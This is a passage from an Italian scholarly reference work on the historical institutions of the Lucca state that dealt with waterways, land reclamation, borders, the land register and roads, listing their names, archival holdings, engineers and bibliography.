Bongi, 1872-1888; Bramanti, 2001, pp. 91-111; Caciagli, 1984; Capacci, 1990, pp. 63-91; Dezzi Bardeschi, 1972, pp. 263-264; Franchetti Pardo e Romby, 1980; Gallo, 1993; Ginori Lisci, 1978; Matteucci, 1913, pp. 101-117; Nepi, 2003; Nepi e Mazzei, 2001; Niccolai, 2004; Pedreschi, 1956; Rombai, 1983, pp. 83-100; Rombai, 1993, pp. 103-146. ASLu, Capitoli, Beni e Fabbriche Pubbliche, Fortificazioni, Offizio sopra le Strade Urbane, Deputazione sopra le Fontane di Lucca.

Giulio Tarchi (Siena)

Deputazioni sopra i corsi d’acqua (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Offizio sopra la Maona (1463-1576)

Offizio sopra la Foce (1576-1618)

Offizio sopra la Maona e la Foce di Viareggio (1618-1801)

Offizio sopra l’Ozzeri e Rogio (1545-1801)

Deputazione sopra il Nuovo Ozzeri (1768-1875)

Offizio sopra il Fiume di Camaiore (1453-1801)

Offizio sopra la Pescia di Collodi (1579-1801)

Offizio sopra la Maona/Offizio sopra la Foce/Offizio sopra la Maona e la Foce di Viareggio.La vasta pianura costiera che si apre, serrata ad oriente dalla catena delle Alpi Apuane, fra il fiume Magra e il Serchio, è sempre stata nei tempi antichi un territorio insalubre e caratterizzato da ampie zone umide che rendevano tutta la zona molto instabile e difficile da sfruttare a favore delle coltivazioni agricole. Fintanto che le condizioni amministrative e i diritti della città di Lucca sulle Marine di Viareggio e di Camaiore non si delinearono definitivamente, quest’area non fu mai interessata da un’opera completa di bonifica, e fino alla metà del XV secolo non si assistette a nessun risanamento se non di piccoli appezzamenti privati ad opera dei rispettivi proprietari.
Perso il possedimento del castello e porto di Motrone, però, la Repubblica di Lucca cominciò a pensare che fosse assolutamente necessaria una sistemazione di tutta la fascia costiera, avendo quest’idea un duplice valore: da un lato la bonificazione di quei luoghi avrebbe risolto non pochi problemi di assetto idrogeologico e sanitario, mentre da un altro si poteva predisporre la marina di Viareggio a sicuro ed efficiente scalo portuale ed unico sbocco al mare dello stato lucchese, in sostituzione di Motrone.
Fu così che, dopo dei tentativi mal riusciti eseguiti a partire del 1463, il Consiglio Generale decise di affidare l’opera ad una società detta Maona, formata da cittadini, “mettendo a disposizione di essa il terreno nel 1463 destinato alla bonificazione, eccettuandone i laghi e le fosse, a patto che dovesse eseguire a sue spese i lavori, e pagare il prezzo dei terreni de’ particolari. I lavori cominciati solamente nel 1506 […], furono terminati nel 1508, e nell’anno appresso se ne fece la spartizione fra i soci o maonisti, in 28 porzioni che si dissero Colonnelli, suddivisi ognuno in 12 particelle”.
I lavori eseguiti furono essenzialmente di canalizzazione e non di prosciugamento totale dei terreni, cosicché si rese il territorio atto alla coltivazione, ma ben presto la “mischianza delle acque salse colle dolci, favorita grandemente da que’ nuovi canali, guastò in tal modo l’aria de’ dintorni, già non buona, che i pochi abitanti ne menarono breve e malsana vita”. Con un progressivo spopolamento delle aree bonificate, anche le colture in breve tempo furono abbandonate e, neanche mezzo secolo dopo queste opere idrauliche, la zona tornò quasi nelle stesse condizioni idrografiche e insalubri iniziali.
Negli anni successivi furono elaborati nuovi studi e progetti di bonifica dell’area, il primo dei quali, nel 1565, affidato al tecnico Piero della Lena, comprendeva anche il riassetto della foce della Fossa di Viareggio che spesso si interrava e non permetteva un buono scolo delle acque. Il progetto prevedeva la costruzione di un canale che raccogliesse le acque che provenivano dal monte Quiesa e che, evitando con grossi argini che spagliassero nel padule, venissero convogliate nel Fosso di Viareggio, sì da aumentarne la portata ed evitare l’accumulo di detriti presso lo sbocco in mare. Ma anche questa soluzione non portò i risultati sperati, come del resto un secondo progetto, commissionato all’ingegnere olandese Guglielmo Raet, nel 1577, che propose di adottare delle tecniche già sperimentate nei Paesi Bassi, come l’arginatura delle zone di bonifica o l’utilizzo di pompe idrauliche per lo svuotamento della casse.
Tutte le operazioni che furono adottate fin dall’inizio, anche quelle commissionate e “appaltate” all’Offizio della Maona, erano comunque sempre state controllate da un consiglio di sei cittadini eletto dagli Anziani. In considerazione di ciò, possiamo a tutti gli effetti parlare di una vera magistratura che si prendeva cura della sistemazione della pianura costiera versiliese, come quella che nel luglio del 1576, fu ufficializzata riguardo al mantenimento e al consolidamento dello sbocco e scalo viareggino, ovvero l’Offizio sopra la Foce di Viareggio.
Successivamente, con decreto del 30 gennaio 1618, il Consiglio Generale riunì le due magistrature costiere in un’unica, che mantenne la doppia denominazione di Offizio sopra la Maona e la Foce di Viareggio, dapprima composta da tre membri cittadini, e poi aumentati a sei nel 1648.
“Può dirsi dunque che dal 1618 al 1801 facesse capo nell’Offizio della Foce la somma delle faccende riguardanti le terre, le acque, le strade e l’aria delle Marine lucchesi,” responsabilità che finalmente furono coronate da un progressivo successo dopo che fu ascoltato, nel 1735 e successivamente, il consiglio (già dato in passato da altri illustri ingegneri) del matematico veneziano Bernardino Zendrini che vedeva la risoluzione dei problemi nell’impedire l’ingresso delle acque salmastre all’interno dei canali di bonifica, ponendo delle cateratte basculanti alla foce del Canale della Burlamacca.
Come tutti gli Offizi della Repubblica lucchese, anche questo cessò le proprie attività nel 1801.

Offizio sopra l’Ozzeri e Rogio. L’Ozzeri e il Rogio sono due bracci del Serchio che, nella sua naturale conformazione, precedentemente cioè ai lavori che interessarono quel tratto che a nord di Lucca, si presentava fortemente anastomizzato: Ozzeri e Rogio si staccavano dal corso principale del fiume e per un certo tratto proseguivano nello stesso alveo, mentre in un secondo tempo facevano “gorgo presso la Pieve di S. Paolo, detta appunto in gurgite, per dividersi in due direzioni, una verso il Lago di Sesto, l’altra verso […] il Serchio”. Il braccio che scolava verso il Lago di Sesto veniva chiamato Rogio mentre quello che tornava ad immettersi nel Serchio era denominato Ozzeri.
Questo particolare assetto idro-morfologico fu la causa di molti allagamenti e danni alle colture.
Già dal XV secolo si trovano dei documenti che fanno riferimento alla formazione di speciali commissioni che avevano il compito di porre rimedio a tali avvenimenti. L’istituzione vera e propria dell’Offizio, però, che si prenderà cura della regimazione fluviale della pianura a sud e ad est di Lucca – che in seguito ai lavori eseguiti sul corso del Serchio aveva nel sistema Ozzeri-Rogio, non più collegato direttamente al fiume principale, comunque un canale di raccoglimento di tutti gli scoli del bacino che così scaricavano da una parte nel Serchio e dall’altra nel Padule – avviene in seguito alla legge del Consiglio Generale del 7 gennaio 1545.
Composta ordinariamente da tre membri eletti fra i cittadini di Lucca, la magistratura si occupò dell’assetto della rete idrica compresa fra il Padule di Sesto e il Serchio fino al 1801.

Deputazione sopra il Nuovo Ozzeri. I continui problemi idrologici che avvenivano nei territori circostanti il Padule di Sesto e quelli contermini all’Ozzeri e il Rogio – che erano sottoposti a due rispettivi Offizi – portarono, nella seconda metà del XVIII secolo, a più attento interessamento da parte dello Stato lucchese. Alla risoluzione di tale contingenza era interessato anche il Governo del Granducato di Toscana che, assieme a Lucca, cercava di promuovere delle valide alternative progettuali.
Nel confronto con lo stato vicino, il Consiglio Generale della Repubblica lucchese decise di affidare il compito ad una nuova deputazione che nasceva dalle competenze affiancate delle due magistrature già esistenti del Padule di Sesto e dell’Ozzeri e Rogio. Con decreto del 30 dicembre del 1768 quindi veniva istituito tale ente che, avvalendosi del personale già impiegato e di nuovi inserimenti opportuni a svolgere il lavoro richiesto, portò alla stesura di un’elaborata relazione in cui si delineava il progetto della costruzione del Nuovo Ozzeri, ovvero di un canale che avrebbe collegato il bacino del Lago di Sesto direttamente con la pianura costiera lucchese, passando sotto i monti di Balbano, per giungere a sfociare in mare presso Viareggio.
Questo studio venne sottoscritto dagli autori – i celebri matematici e idraulici Ximenes, Boscovich e Zanotti che proseguirono le idee già esposte da Giovanni Attilio Arnolfini – il 5 marzo del 1782, ma nonostante la validità del progetto e il consenso del Consiglio Generale a sostenere le spese, questa soluzione incontrò vari ostacoli. Fu così proposta una revisione del tracciato, nel 1784, ad opera del matematico Anton Maria Lorgna che confermava l’idea dello scolo diretto verso il mare, ma proponeva di by-passare i colli presso Filettole e non sotto Balbano.
Ma anche questi pareri non furono mai attuati perché maggiori interessi acquistarono le ipotesi promosse dal Granducato di Toscana. Infatti con la realizzazione della Botte sotto l’Arno, progettata dal matematico pisano Pio Fantoni e rivista da Alessandro Manetti, si arrivò nel 1859 alla realizzazione dell’emissario dalla parte della pianura pisana meridionale, e con le ultime relazioni del 1875, cessarono tutte le attività della deputazione lucchese.

Offizio sopra il Fiume di Camaiore e Offizio sopra la Pescia di Collodi. Queste due deputazioni si riferiscono a corsi d’acqua che, seppur di limitata grandezza, hanno sempre costituito un circoscritto ma costante pericolo per gli abitanti delle zone da loro percorse, a causa del loro carattere torrenziale e della scarsa presa di coscienza delle popolazioni sui reali pericoli che potevano recare.
La pianura versiliese, ad esempio, è stata per molto tempo attraversata in maniera del tutto libera dal fiume Camaiore, che spesso cambiava tracciato e vagava disalveato per tutto il territorio. Questo comportamento apportava, ovviamente, gravi disagi e ingenti danni alle terre coltivate e così il Consiglio Generale decretò, il 23 maggio 1453, che fosse istituita una commissione di cittadini che cercassero di risolvere queste problematiche. I lavori furono effettuati disegnando un corso ben preciso del fiume che lo convogliava verso la Fossa dell’Abate, per poi sfociare in mare, ma nel corso degli anni successivi tale sistemazione risultò essere molto precaria: a tal punto, che anche Alessandro de’ Medici si dovette lagnare ufficialmente con lo Stato lucchese per le soventi tracimazioni del Camaiore nel vicino territorio di Pietrasanta, appartenente a Firenze.
Il 15 luglio 1533 si provvide quindi all’istituzione di un nuovo offizio che ripristinasse l’assetto della zona. I lavori che scavarono un altro letto si svolsero in poco più di due anni, ma anche questa soluzione non portò i risultati aspettati.
La deputazione, composta da tre membri cittadini e eletta straordinariamente per risolvere queste problematiche contingenti, fu rinominata in vari anni successivi, tanto da divenire ben presto una magistratura ordinaria e perpetua, almeno fino al 1801, anno in cui fu soppressa.
Anche per quanto riguarda la Pescia di Collodi, la nascita e le vicende storiche dell’Offizio sono molto simili ai quelle dei precedenti enti, nonostante la deputazione si riferisca ad un fiume che, contrariamente a tutti gli altri fiumi non costieri che nascono dai monti lucchesi, non va a gravare sul bacino lacustre di Sesto, ma su quello della vicina Valdinievole. L’ente venne istituito per la prima volta nel 1579, dapprima straordinariamente al fine di risolvere dei problemi di disalveamento e tracimazione, e successivamente trasformato in Offizio stabile (con decreto del 12 settembre 1600) fino al 1801.

Produzione cartografica

Offizio sopra l’Ozzeri e Rogio. La cartografia prodotta da questo Offizio fu soprattutto di corredo agli studi e ai progetti che venivano eseguiti o proposti. A tal riguardo, sono conservate delle relazioni di vari ingegneri, quali Eustachio Manfredi (1730) e Bernardino Zendrini (1735), che proponevano di erigere delle cateratte allo sbocco dell’Ozzeri per impedire gli allagamenti dovuti ai rigurgiti del Serchio verso il Padule di Sesto (ASLu, Offizio sopra l’Ozzeri e Rogio, 29).

Cartografia della Deputazione sopra il Nuovo Ozzeri. La produzione è costituita essenzialmente da relazioni e perizie fatte per gli studi di una valida alternativa allo scolo delle acque del Padule di Sesto. Tra le altre, è da segnalare la Memoria sopra il Lago di Sesto o Bientina, raccolte per la Deputazione de’ Nove Spettabili Cittadini eletti per l’esame del Progetto del Nuovo Ozzeri da G. At. Arnolfini (ASLu, Deputazione sopra il Nuovo Ozzeri, 3): nella relazione sono presenti varie carte, fra cui della copie di mappe più antiche, quali Copia di un antico disegno rappresentante i laghi di Sesto, di Bientina e di Valdinievole dell’anno 1450 circa (ASLu, Deputazione sopra il Nuovo Ozzeri, 3, tav. IV); Copia di un altro disegno, il cui titolo è come appresso: copia di un disegno vecchio, in qualche parte difettivo, e non proporzionato e di più vi si trova nota ch’è di commissione dello Sp.le Off.e dell’Entrate. S’è copiato nell’infrascritta forma, nonostante che in qualche parte manchi di perfezione (ASLu, Deputazione sopra il Nuovo Ozzeri, 3, tav. V).

Operatori

Le maestranze che prestarono le loro competenze al servizio di uffici e deputazioni sono state numerose, e sono da segnalare personalità molto importanti quali: Eustachio Zanotti (1777-1781); Leonardo Ximenes (1777-1781); Ruggiero Boscovich (1781); Giorgio Martinelli ingegnere (1777-1778); Michele Saverio Flosi (ingegnere, 1777-1778); Rocco Francesconi (ingegnere, 1777-1778); Francesco Butori (ingegnere, 1777); Anton Maria Lorgna (1784).

Riferimenti bibliografici e archivistici

Azzari, 1993, pp. 161-193; Azzari, 2001, pp. 89-106; Barsanti, 1987; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bongi, 1872-1888; Boncompagni e Ulivieri, 2000; Caciagli, 1984; Gallo, 1993; Nepi, 2003; Nepi e Mazzei, 2001. Ricchi fondi specifici dell’ASLu, specialmente Offizio sopra l’Ozzeri e Rogio e Deputazione sopra il Nuovo Ozzeri.

G. Ta.

Confini (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Offizio sopra le Differenze di Confine (1601-1799)

Deputazione sopra le Differenze (1799-1801)

L’istituzione dell’Offizio sulle Differenze de’ Confini si costituisce nel corso del XVI secolo con il preciso compito di “negoziare co’ principi esterni”; mansioni che in precedenza non erano mai state ricoperte da alcuna deputazione permanente, ma “secondo la volontà del Consiglio Generale, si sbrigavano per lo più dal Collegio degli Anziani e dal Gonfaloniere, e raramente da Balie straordinarie”.
La nascita di questo offizio, quindi, avviene per sopperire ad una finalità ben precisa, ma che non aveva mai avuto un inquadramento istituzionalizzato da parte della Stato lucchese, e si attua dopo una serie di elezioni di varie Cure o Deputazioni formate da un numero variabile di membri cittadini che dovevano farsi carico delle “controversie di confine cogli Stati limitrofi”. La magistratura viene però decretata in maniera ordinaria soltanto nel 1601, quando il Consiglio Generale stabilisce con una legge del 2 gennaio che “«l’Offitio delle Differenze, che farà speditione delle cure et negotii che piacerà all’Ecc. Cons. commetterli», sia di nove cittadini, e debba rinnovarsi ogni anno almeno per la terza parte, con modo però, che vi abbia seduto tre anni, per altrettanti debba esserne escluso”.
Oltre alle mansioni concernenti i limiti amministrativi, nel corso degli anni l’Offizio fu incaricato anche di sovrintendere a tutte le incombenze riguardanti in generale le relazioni interstatali, andando a ricoprire quelle funzioni che oggi giorno competono prettamente agli affari esteri. Inoltre, svolgeva anche le vesti di gabinetto per l’ordine pubblico: infatti, in occasione di fatti tumultuosi e casi estremi e pericolosi per la salvaguardia dello Stato che accadevano di notte, esso si doveva immediatamente riunire assieme al Magistrato de’ Segretari e i Consiglieri di Notte, per prendere decisioni e repentini provvedimenti a tutela del territorio lucchese.
In ragione di questi incarichi la deputazione sulle Differenze divenne una delle magistrature più importanti della Repubblica.
Quando a Lucca, nel 1799 cadde il Governo – dato che essa negli anni passati si era sempre schierata per l’indipendenza alla dominazione francese e alla rivoluzione – fu immediatamente soppressa. Tale esperienza, però, durò per pochi mesi e al momento in cui fu ristabilita la Reggenza Provvisoria venne immediatamente rinnovata anche la magistratura (il 24 luglio sempre del 1799), con la denominazione di Deputazione sopra le Differenze. Ma a causa delle alterne vicende politiche che si ebbero in quegli anni, anche la sussistenza di questo Offizio fu molto breve dato, che essa fu definitivamente conclusa con il decreto del 28 gennaio 1801 in cui la Repubblica Democratica ricostituiva l’ordinamento statale istituendo la figura dei vari Ministeri.

Produzione cartografica

L’attività e la produzione dell’Offizio sopra le Differenze di Confine comincia agli inizi del XVI secolo – l’istituzione ufficiale, però, venne sancita il 2 gennaio del 1601 – e termina nel 1801. All’interno del fondo di questa magistratura sono conservati una grande quantità di documenti, non solo cartografici, che trattano in generale dei problemi delle dispute di confine. Sono presenti quindi carteggi, documenti relativi ai conflitti, relazioni su controversie amministrative, ma una veste decisamente rilevante la rivestono le filze in cui sono stati riuniti mappe, disegni e descrizioni varie, eseguite in differenti anni.
Di seguito, si elencano le segnature archivistiche delle singole filze, evidenziando a quali Comunità si riferiscono le mappe contenute:
Viareggio e Camaiore (Offizio sopra le Differenze di Confine, 567);
Montignoso e Pescaglia (Offizio sopra le Differenze di Confine, 568);
Gallicano (Offizio sopra le Differenze di Confine, 569-570);
Coreglia, Bagni e Villabasilica (Offizio sopra le Differenze di Confine, 571);
Minucciano (Offizio sopra le Differenze di Confine, 572);
Distretto delle Sei Miglia (Offizio sopra le Differenze di Confine, 573);
Castiglione (Offizio sopra le Differenze di Confine, 574);
Comunità varie (Offizio sopra le Differenze di Confine, 575);
Miscellanea di piante riguardanti Castiglione, Massa, Viareggio assieme alla sue fortezze, Camaiore, Montignoso, Castagnola, Ricciana di San Michele, Agliano, Albiano, Acqua del Caprio, Garfagnana (Offizio sopra le Differenze di Confine, 576).

Operatori

Nel corso degli anni in cui l’Offitio esercitò compiutamente le proprie competenze amministrative, operarono alla diretta dipendenza dell’ente, o in isolate e specifiche collaborazioni, numerosi tecnici e operatori. In alcuni casi le maestranze che produssero i progetti e le dispute di confine risultano essere personalità della parte confinante che elaborarono il lavoro in concorso con i propri colleghi appartenenti allo Stato lucchese. Di seguito si riporta una lista di personaggi che a varia natura collaborarono con l’Ente, ove viene menzionata la funzione di ciascun tecnico e gli anni in cui è certa l’attività per opere riguardanti le dispute di confine:
Alessandro Resta, ingegnere (1567); Marcantonio Botti, perito ingegnere (1620-1629); Pasio Pasi, perito ingegnere di parte modenese (1621); Domenico Cecchi (1702-1733); Frediano Puccini, ingegnere (1613-1615); Don Pietro Pierotti, perito agrimensore (1712-1714); Don Domenico Pierotti, perito agrimensore (1714); Giuseppe Masseangeli (1701); Domenico Filippo Masseangeli (1712-1714); Giulio Ambrogio Giannetti, perito (1719-1732); Gianfrancesco Giannetti (1730 circa); Filippo Del Medico, capitano ingegnere di parte modenese (1770); Tommaso Gaetano Pellegrini; perito ingegnere (1770-1776); Sigismondo Bertacchi, perito ingegnere di parte modenese (1613); Giuseppe Civitali, agrimensore (1541-1564); Giovan Francesco Gabrielli, pubblico perito agrimensore (1686-1723); Giovan Battista Pieri, chirurgo (1699); Giovanni Costa, perito ingegnere di parte modenese (1776); Flaminio Samminiati, perito (1603); Silvestro Gabrielli, agrimensore (1635-1640); Giovanni Vannuccori, agrimensore (1664-1687); Gherardo Boccabadati, perito di parte modenese (1687); Giacomo Cantelli, perito di parte modenese (1687); Francesco Vacchi, perito ingegnere di parte modenese (1622); Geronimo Palma, ingegnere di parte modenese (prima metà del XVII secolo); Pellegrino Pieri, agrimensore; Giovanni Azzi, perito ingegnere (1684); Simone Moni, agrimensore (1721); Paolo Natalini, perito agrimensore (1659); Giuseppe Natalini, perito agrimensore (1723-1725); Giuseppe Maria Serantoni, padre agostiniano (1744); Pietro Pellegrini, perito ingegnere (1762); Romano Duccini, perito ingegnere (1756); Giovanni Bertocchi, perito ingegnere (1763-1770); Pier Angelo Dini, perito agrimensore (XVIII secolo); Francesco Maria Butori, ingegnere (1801); Filippo Cappelletti, perito agrimensore (1656-1659); Paolo Lipparelli (1635-1646); Pietro Vagnarelli, ingegnere (1620); Carlo Federico Castiglione, perito agrimensore (1723); Michele Flosi, pubblico Professore di Geometria (prima metà XVIII secolo); Filippo Chiocca (1701).

Riferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 1993; Franchetti Pardo e Romby, 1980; Gallo, 1993; Niccolai, 2004; Rombai, 1983; Bongi, 1872-1888. ASLu, Offizio sopra le Differenze di Confine.

Giulio Tarchi (Siena)

Catasto (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Estimo (1284-1801)
Catasto vecchio e nuovo (1802-1869)

Estimo. Nella storia dello Stato lucchese non è possibile indicare una data certa, né tanto meno un provvedimento ufficiale, che sancisca l’istituzione di una magistratura riguardante le operazioni di imposizione fiscale. Tuttavia, già dal XIII secolo esistevano delle procedure e una forma di “apprezzamento fiscale nel quale cumulavasi il possesso stabile e mobile, e la persona, e che questo apprezzamento, che si diceva estimo, era poi fondamento delle contribuzioni dirette che si raccoglievano, non solo dal Comune di Lucca sovrano, ma dai singoli Comuni sottoposti, e dalle Vicarie cui l’uomo apparteneva”. Gli “apprezzamenti” si basavano e valutavano “il possesso immobile e mobile e le bocche o teste, de’ beni stabili affittati o allivellati, tenendo conto però solamente del frutto che toccava al colono”. Tali rendicontazioni dovevano essere eseguite in maniera descrittiva con una cadenza regolare di circa 25 anni, ma questa periodicità non venne mai rispettata e in molti casi, già dalla fine del XIII secolo, i documenti analitici avevano di corredo anche delle misure degli appezzamenti stimati.
A partire poi dal 1300 tale strumento di imposizione tributaria si andò a modificare, interessando quasi esclusivamente le zone extramoenia e andando a gravare solamente sulle spalle dei contadini. Il primo effetto di questo nuovo impianto fiscale fu la crescita del malcontento delle popolazioni rurali le quali cercarono di architettare contromisure tese a falsare le effettive rendite, e di conseguenza la nascita di una generale difformità fra la reale condizione dei beni privati e il censimento e le misure che venivano eseguite. Tale panorama restò inalterato per molti secoli in avanti e anche i provvedimenti di revisione o di aggiornamento dell’accatastazione furono spesso disattesi e realizzati a pelle di leopardo.
Riguardo alla cronologia, i primi documenti dell’Estimo sono risalenti al 1284, mentre gli ultimi al 1801, poco prima dell’entrata in vigore del Vecchio Catasto, la cui nascita viene decretata il 15 gennaio 1802. I lavori di accatastamento si protrassero per molti anni in avanti, e dal 1826 fino al 1850 si sovrapposero a quelli del nuovo Catasto. Il 17 gennaio 1850 fu sancita la soppressione definitiva della Conservatoria del Catasto.

Catasto vecchio e nuovo. Ancora all’inizio del XIX secolo l’imposizione territoriale si basava ancora su documenti e stime fatte in maniera molto approssimativa, e gravava sempre solamente sulla cittadinanza rurale.
Per istituire un nuovo metodo fiscale che sostenesse le casse dello Stato e applicasse i valori di “uguaglianza” che in questo periodo si stavano espandendo in tutta Europa, il governo della Repubblica Democratica decise con decreto del 15 gennaio 1802 di realizzare un moderno catasto e che “l’imposta dovesse pagarsi da tutti, egualmente, senza privilegi, in proporzione dell’avere”. L’operazione che era diretta da una Commissione formata da cinque membri, prevedeva che doveva “commettersi a tre o più Periti Agrari per ogni Comune, […] ed i Periti si volle che eseguissero il lavoro, senza levare alcuna misura, ma solamente col descrivere i possessi per proprietario, frutto annuale, vocabolo e confini. Nei Comuni dove fossero Pubblici Stimatori, che erano in sostanza contadini pratici, fu conceduto alla Commissione di valersi anche di quelli; e solamente le fu permesso di ricorrere agli Agrimensori geometri dell’elezione de’ Periti”.
Le nuove stime furono consegnate, come previsto dal decreto, in pochissimi mesi e dal 1803 entrò in vigore il Catasto Generale della Repubblica di Lucca. Ma i tempi strettissimi che erano stati concessi e la simultaneità delle rilevazioni che non permise un confronto e un’omogeneizzazione dello stimare, portarono al compimento di un lavoro estremamente difettoso e tumultuoso.
Negli anni successivi furono quindi adottati nuovi provvedimenti tutti volti all’individuazione di uno strumento efficace e più equo possibile per l’imposizione fiscale terriera. Sia nel 1810 che nel 1817 vennero adottate delle disposizioni che miravano alla creazione di un catasto, che risultava una novità, non solo da un punto di vista di aggiornamento, ma anche nella metodologia e nelle tecniche di realizzazione utilizzate. Ma nonostante i buoni propositi che spingevano in tale direzione, il Catasto geometrico trovò sulla propria strada sempre degli impedimenti, ora dipendenti da problemi politici, ora da difficoltà tecniche.
L’operazione più importante fu quella della creazione della rete di triangolazione che fu affidata il 17 agosto del 1830 al padre Michele Bertini che, sfruttando i lavori già eseguiti da Carlo Brioschi e dalle basi trigonometriche del vicino Granducato di Toscana elaborate dall’Inghirami, portò a compimento le misure di primo grado nel 1835, mentre quelle di secondo grado furono ultimate nel 1845.
Il risultato dell’esperienza catastale effettuata da parte del governo lucchese si ha nel 1846 con la realizzazione della cartografazione dei comuni di Montignoso e di Capannori, mentre il restante territorio fu rilevato in seguito, tra il 1860 e il 1869, quando si era già avuta la riunificazione del Ducato con il Granducato di Toscana.

Poduzione cartografica

Estimo. a produzione riferibile a questa prima parte dei lavori, che riguardarono, in generale, la valutazione dei terreni e degli immobili ai fini fiscali e della misurazione in senso prettamente geometrico della superficie terrestre del territorio lucchese, è contenuta all’interno del ricco fondo archivistico denominato Estimo ed è possibile consultare ben 231 filze contenenti materiale di vario genere (descrizioni, inventari dei beni, relazione, controversie fra parti, ecc.), fra cui si possono trovare anche piccole mappe o misure catastali di appezzamenti (ASLu, Estimo, 1-231).

Catasto vecchio e nuovo. Molto vasta è la produzione della deputazione sopra il Catasto che è possibile reperire nei fondi Catasto Vecchio e Catasto Nuovo dell’Archivio di Stato di Lucca.
Fra questo ampio panorama documentario, alcuni pezzi sono sicuramente da segnalare per il loro grande valore e l’importante contributo che hanno dato allo studio della cartografia storica e precisamente: i lavori del Bertini sulla costruzione della rete trigonometrica del Ducato di Lucca (ASLu, Catasto Nuovo, 59-61), costituiti da tre volumi nel primo dei quali vi è riportata la rete maggiore e le posizioni dei punti di appoggio principali della stessa, nel secondo le reti minori, e nel terzo le coordinate e l’altitudine dei punti più importanti; la prima pianta corografica dello stato lucchese su base geometrica, con la scala di 1:20.000, realizzata da Celeste Mirandoli nel 1836 (ASLu, Catasto Nuovo, 76); le mappe catastali riferite alle singole Comunità, in scala di 1:2000, che coprono tutto il territorio lucchese (ASLu, Catasto Nuovo, 68-75).

Operatori

Soprattutto le testimonianze più antiche – molte delle quali sono andate perdute – non riportano gli esecutori, ma sicuramente personalità importanti sono state commissionate dal Consiglio Generale per realizzare i lavori di ammodernamento delle visure eseguiti nel 1546 e rimasti in vigore per molto tempo. Fra questi: Giuseppe Civitali (1547-1549); Giovan Battista Boccella (1548-1550); Piero della Lena (1547-1550); Olivo Domenichini (pubblico agrimensore, 1549-1550); Iacopo Luporini (pubblico agrimensore, 1547-1550); Agostino Pergola (1546-1561); Benedetto Casoli (pubblico agrimensore, 1550); Domenico Santucci (pubblico agrimensore, 1546-1547); Prete Meo da Carignano (pubblico agrimensore, 1550); Andrea de’ Santi da Pontetetto (pubblico agrimensore, 1547); Filippo Lippi di Diecimo (pubblico agrimensore, sec. XVI); Agnello di Maestro Tomeo (pubblico agrimensore, 1561); Giovanni Ghivizzani (pubblico agrimensore, 1561); Giovanni Parpaglioni (pubblico agrimensore, 1561); Iacopo Del Zoppo (pubblico agrimensore, 1515); Giuseppe Cagnoli (pubblico agrimensore, 1515-1520); Michelangelo da Ville (canonico, 1546); Michelangelo Landucci (pubblico agrimensore, 1520); Giovanni Dalle Monache (pubblico agrimensore, 1547); Antonio delle Torri (notaio e pubblico agrimensore, 1547); Michele Bertini (1830-1842); Paolo Sinibaldi (1830-1842); Celeste Mirandoli (topografo del Genio modenese, 1836-1850).

Rferimenti bibliografici e archivistici

Archivio di Stato di Lucca, 1987; Azzari, 1993, pp. 161-193; Barsanti e Rombai, 1986; Rombai, 1989; Bongi, 1872-1888; Boncompagni e Ulivieri, 2000; Ginori Lisci, 1978, pp. 229-237; Romiti, 1975; Tori, 1983. ASLu, Estimo e Catasto Nuovo.

Giulio Tarchi (Siena)

Acque e Strade (Stato di Lucca)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Offizio sopra le Acque e Strade delle Sei miglia o Distretto (1523-1801)

Commissariato sopra le Acque e Strade (1801-14)

Soprintendenza (1814-18), Direzione (1818-21) e Commissariato (1821-1850)

Consiglio dei Ponti ed Argini (1806-1814)

Nello Stato lucchese fino all’inizio del XVIII secolo, tutti i regolamenti e le competenze riguardanti le Acque e le Strade, “anzi, tutta questa parte dell’amministrazione che nei governi imitati dalla Francia fa capo ai Ministri dei Lavori Pubblici”, era suddivisa in varie Deputazioni che possedevano quindi uguali pertinenze in riferimento ad una o ad un’altra zona territoriale. Successivamente, in seguito ai cambiamenti politici che avvennero a partire dal 1799 con l’instaurazione del primo reggimento democratico, sorto il 4 febbraio con l’appoggio dei francesi, e le susseguenti azioni di restaurazione di reggenze che si opponevano allo stesso, in poco più di 15 anni anche la struttura tecnico amministrativa di Lucca subì molteplici e repentini mutamenti che portarono ora all’accorpamento di diversi uffici – tendenza che trae spunto dall’impostazione che si era consolidata in Francia che aveva prodotto un accentramento di vari poteri sotto il diretto controllo di pochi dicasteri – ora al ripristino di specifiche magistrature che arrogavano a sé le competenze possedute in precedenza.

L’Offizio sopra le Acque e Strade delle Sei miglia o Distretto fu istituito dal Consiglio Generale lucchese con un decreto del 6 marzo 1523. La magistratura così denominata doveva rispondere a quelle esigenze e a quegli affari che fino ad allora erano stati in parte propri della Curia del Fondaco.
Quest’ultima infatti era un antico uffizio – chiamato così probabilmente da una fabbrica chiamata il Fondaco, dove in principio doveva avere la sede o i magazzini – che a Lucca provvedeva in generale all’annona, ai mercati, e al commercio. Dal Fondaco dipendevano in qualche modo anche la pulizia e il mantenimento delle strade, delle piazze, dei canali, dei ponti, e di tutte le infrastrutture che avevano a che fare con il commercio in senso lato. Trattandosi di tematiche e di campi che, pur avendo un denominatore comune nella finalità a cui miravano i vari intenti, si trovavano su piani diversi che avevano spesso richiesto in passato la nomina di magistrature straordinarie che fossero esperte negli argomenti che di volta in volta venivano affrontati, e considerato il fatto che negli ultimi anni “pare che succedesse un notevole peggioramento delle medesime [le strade], presso a poco come era avvenuto per quelle della città”, si giunse alla scorporazione dalla giurisdizione della Curia del Fondaco di tutte quelle mansioni che riguardavano le vie e le strade al di fuori della mura cittadine.
